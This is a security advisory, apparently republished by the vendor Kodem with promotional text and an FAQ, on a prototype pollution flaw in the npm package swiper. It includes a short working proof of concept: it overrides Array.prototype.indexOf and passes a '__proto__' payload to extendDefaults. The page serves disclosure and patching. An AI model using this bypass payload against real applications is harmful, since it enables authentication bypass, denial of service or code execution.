Summary
Prototype pollution in swiper
A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2
Details
The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.
PoC
Steps to reproduce
- Install latest version of swiper using npm install
- Run the following code snippet:
var swiper = require('swiper');
Array.prototype.indexOf = () => -1;
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred
Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
undefined
undefined OR throw an Error
Actual behavior
Object.prototype is polluted
This is printed on the console:
undefined
yes
Related CVEs
Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.
It could potentially lead to the following problems:
- Authentication bypass
- Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global
Array.prototype.indexOfproperty can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service. - Remote code execution (if polluted property is passed to sinks like eval or child_process)
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-27212? CVE-2026-27212 is a critical-severity security vulnerability in swiper (npm), affecting versions >= 6.5.1, < 12.1.2. It is fixed in 12.1.2.
- Which versions of swiper are affected by CVE-2026-27212? swiper (npm) versions >= 6.5.1, < 12.1.2 is affected.
- Is there a fix for CVE-2026-27212? Yes. CVE-2026-27212 is fixed in 12.1.2. Upgrade to this version or later.
- Is CVE-2026-27212 exploitable, and should I be worried? Whether CVE-2026-27212 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27212 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27212? Upgrade
swiperto 12.1.2 or later.